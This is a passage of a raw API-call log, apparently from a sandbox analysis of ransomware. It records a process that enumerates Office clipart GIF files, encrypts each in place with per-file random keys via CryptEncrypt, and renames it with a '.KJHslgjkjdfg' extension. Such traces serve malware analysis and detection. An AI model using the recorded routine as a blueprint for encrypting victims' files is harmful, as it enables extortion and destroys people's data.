ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x4dd3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099195.GIF", cAlternateFileName="")) returned 1 [0192.190] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099195.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.190] GetProcessHeap () returned 0x990000 [0192.190] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0192.190] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0192.190] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0192.191] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xd, lpOverlapped=0x0) returned 1 [0192.193] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.193] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.193] GetProcessHeap () returned 0x990000 [0192.193] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0192.193] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0192.193] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.193] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0192.193] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0192.193] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0192.193] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0192.194] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0192.194] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.194] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.194] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.194] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.194] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4dd3, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x4dd3, lpOverlapped=0x0) returned 1 [0192.195] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4de0, dwBufLen=0x4de0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4de0) returned 1 [0192.195] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.195] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4de0, lpOverlapped=0x0) returned 1 [0192.196] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.196] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4eb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.196] SetEndOfFile (hFile=0x130) returned 1 [0192.198] GetProcessHeap () returned 0x990000 [0192.199] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0192.199] GetProcessHeap () returned 0x990000 [0192.199] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0192.199] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099195.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099195.gif.kjhslgjkjdfg")) returned 1 [0192.201] CloseHandle (hObject=0x130) returned 1 [0192.202] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x3801, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099196.GIF", cAlternateFileName="")) returned 1 [0192.202] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099196.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.203] GetProcessHeap () returned 0x990000 [0192.203] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0192.203] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0192.203] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0192.203] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xf, lpOverlapped=0x0) returned 1 [0192.206] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.206] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.206] GetProcessHeap () returned 0x990000 [0192.206] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0192.206] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0192.206] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.206] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0192.206] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0192.206] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0192.206] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0192.207] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0192.207] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.207] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.207] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.207] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.207] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3801, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3801, lpOverlapped=0x0) returned 1 [0192.208] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3810, dwBufLen=0x3810 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3810) returned 1 [0192.208] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.208] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3810, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3810, lpOverlapped=0x0) returned 1 [0192.208] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.208] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x38e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.209] SetEndOfFile (hFile=0x130) returned 1 [0192.211] GetProcessHeap () returned 0x990000 [0192.211] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0192.211] GetProcessHeap () returned 0x990000 [0192.211] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0192.211] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099196.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099196.gif.kjhslgjkjdfg")) returned 1 [0192.213] CloseHandle (hObject=0x130) returned 1 [0192.213] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x2a92, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099197.GIF", cAlternateFileName="")) returned 1 [0192.213] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099197.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.214] GetProcessHeap () returned 0x990000 [0192.214] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0192.214] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0192.214] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0192.214] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0192.216] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.216] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.216] GetProcessHeap () returned 0x990000 [0192.216] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0192.216] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0192.216] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.216] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0192.217] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0192.217] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0192.217] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0192.217] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0192.217] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.217] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.217] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.217] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.217] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2a92, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2a92, lpOverlapped=0x0) returned 1 [0192.220] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2aa0, dwBufLen=0x2aa0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2aa0) returned 1 [0192.220] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.220] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2aa0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2aa0, lpOverlapped=0x0) returned 1 [0192.220] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.220] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2b74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.220] SetEndOfFile (hFile=0x130) returned 1 [0192.223] GetProcessHeap () returned 0x990000 [0192.223] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0192.223] GetProcessHeap () returned 0x990000 [0192.223] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0192.223] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099197.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099197.gif.kjhslgjkjdfg")) returned 1 [0192.224] CloseHandle (hObject=0x130) returned 1 [0192.225] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x148b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099198.GIF", cAlternateFileName="")) returned 1 [0192.225] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099198.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.225] GetProcessHeap () returned 0x990000 [0192.225] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0192.225] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0192.225] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0192.226] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x5, lpOverlapped=0x0) returned 1 [0192.228] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.228] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.228] GetProcessHeap () returned 0x990000 [0192.228] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0192.228] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0192.228] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.229] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0192.229] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0192.229] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0192.229] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0192.229] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0192.229] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.229] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.229] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.229] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.229] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x148b, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x148b, lpOverlapped=0x0) returned 1 [0192.230] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1490, dwBufLen=0x1490 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1490) returned 1 [0192.230] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.230] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1490, lpOverlapped=0x0) returned 1 [0192.231] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.231] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1564, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.231] SetEndOfFile (hFile=0x130) returned 1 [0192.233] GetProcessHeap () returned 0x990000 [0192.233] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0192.234] GetProcessHeap () returned 0x990000 [0192.234] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0192.234] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099198.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099198.gif.kjhslgjkjdfg")) returned 1 [0192.235] CloseHandle (hObject=0x130) returned 1 [0192.235] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x84b7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099199.GIF", cAlternateFileName="")) returned 1 [0192.235] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099199.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.236] GetProcessHeap () returned 0x990000 [0192.236] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0192.236] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0192.236] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0192.236] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x9, lpOverlapped=0x0) returned 1 [0192.239] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.239] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.239] GetProcessHeap () returned 0x990000 [0192.239] 